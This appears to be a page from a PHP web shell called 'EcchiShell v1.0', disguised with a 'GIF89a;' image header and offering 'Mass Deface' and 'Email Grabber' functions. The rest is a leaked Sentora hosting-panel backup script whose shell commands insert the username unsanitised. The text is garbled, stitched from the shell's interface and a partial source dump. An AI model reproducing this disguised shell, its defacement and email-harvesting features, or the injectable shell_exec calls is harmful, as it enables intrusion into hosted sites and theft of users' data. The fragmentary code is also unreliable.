GIF89a; EcchiShell v1.0
//backup/

Mass Deface Email Grabber

"SET NAMES 'utf8'")); $zdbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { exit(); } $download=1; if (isset($argv[1]) && $argv[1] != "") { $username=trim($argv[1]); $rows = $zdbh->prepare("SELECT a.* FROM x_accounts a,x_profiles p,x_groups g,x_packages pa,x_quotas q WHERE a.ac_id_pk=p.ud_user_fk AND a.ac_group_fk=g.ug_id_pk AND a.ac_package_fk=pa.pk_id_pk AND a.ac_package_fk=q.qt_package_fk AND a.ac_user_vc= :ac_user_vc AND a.ac_deleted_ts is NULL"); $rows->bindParam(':ac_user_vc', $username); $rows->execute(); $res_count = $rows->fetch(); if ($res_count) { //$rows = $zdbh->prepare("SELECT a.* FROM x_accounts a,x_profiles p,x_groups g,x_packages pa,x_quotas q WHERE a.ac_id_pk=p.ud_user_fk AND a.ac_group_fk=g.ug_id_pk AND a.ac_package_fk=pa.pk_id_pk AND a.ac_package_fk=q.qt_package_fk AND a.ac_user_vc= :ac_user_vc"); //$rows->bindParam(':ac_user_vc', $username); //$rows->execute(); //$dbvals = $rows->fetch(); $userid=$res_count['ac_id_pk']; if ($backup = ExecuteBackup($userid, $username, $download)) { echo "backup completed."; } else { echo "

Unauthorized Access!

"; echo "You have no permission to view this module."; } } else { echo "Username does not exists."; exit(); } } function ExecuteBackup($userid, $username, $download = 0) { $vhost_dir=ctrl_options::GetSystemOption('hosted_dir'); echo "backup Started. \n"; shell_exec("mkdir -p /backup/$username"); $timestamp= date("M-d-Y_hms", time()); $dest_path="/backup/".$username."/"."home_".$username . "_" .$timestamp; $currentfilename="home_".$username . "_" .$timestamp.".zip"; shell_exec("echo $currentfilename > /backup/current_home_$username"); $src_path=$vhost_dir.$username."/"; //$src_path="/var/sentora/hostdata/".$username."/"; /* ///////////////////////////////////////// Calculating all data Start //////////////////////////////////////////////////// */ //$total_bk_size_in_kb=0; $total_bk_size_in_kb = (int)shell_exec("du -sc $src_path --exclude=".$src_path."backups | cut -f1 | awk '{print $1; exit}'"); //$total_bk_size_in_kb += $size; // $available_size_in_kb = (int)trim(shell_exec("df | awk '{print $4}' | head -2 | tail -1")); // $overall_size_in_kb = (int)trim(shell_exec("df | awk '{print $2}' | head -2 | tail -1")); $available_size_in_kb=array_sum(array_filter(explode("\n",shell_exec("df | grep -vE '^Filesystem|tmpfs|cdrom'| awk '{print $4}'")))); $overall_size_in_kb=array_sum(array_filter(explode("\n",shell_exec("df | grep -vE '^Filesystem|tmpfs|cdrom'| awk '{print $2}'")))); echo "\ntotal_bk_size_in_kb ".$total_bk_size_in_kb; echo "\navailable_size_in_kb ".$available_size_in_kb; echo "\noverall_size_in_kb ".$overall_size_in_kb; if($available_size_in_kb < $total_bk_size_in_kb ) { $msg="Due to disk exceeed, your home backup does not taken. kindly contact your administrator."; echo $msg; return true; } $remaining_kb = $available_size_in_kb - $total_bk_size_in_kb; $remaining_percentage = $remaining_kb / $overall_size_in_kb * 100 ; echo "\nremaining_kb ".$remaining_kb; echo "\nremaining_percentage ".$remaining_percentage; if($remaining_percentage < 5 ) { $msg="Due to disk space exceeed, your home backup does not taken. kindly contact your administrator."; echo $msg; return true; } /* ///////////////////////////////////////// Calculating all data End //////////////////////////////////////////////////// */ //$cmd="cd $vhost_dir && zip -r $dest_path $username 2>&1 "; $cmd="cd $src_path && zip -r $dest_path ./* -x ./backups/\* 2>&1 "; $output=array(); $return_val=""; $output=passthru($cmd,$return_val); //exec("chown apache. -R /backup/$username"); exec("chown $username:$username -R /backup/$username"); //exec("chmod 755 -R /backup/$username"); /* ////////////////////////////////////// symlink Creation Started ////////////////////////////////////// */ //$cmd="mkdir -p ".$vhost_dir.$username."/backups/"." && cd ".$vhost_dir.$username."/backups/ && ln -S ".$currentfilename." ".$dest_path.".zip"; echo $cmd="mkdir -p ".$vhost_dir.$username."/backups/"." && mv ".$dest_path.".zip ". $vhost_dir.$username."/backups/"; shell_exec($cmd); /* ////////////////////////////////////// symlink Creation End ////////////////////////////////////// */ return TRUE; } ?>